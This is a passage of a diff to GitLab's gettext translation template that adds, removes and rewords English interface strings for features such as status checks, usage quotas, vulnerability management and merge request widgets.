+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
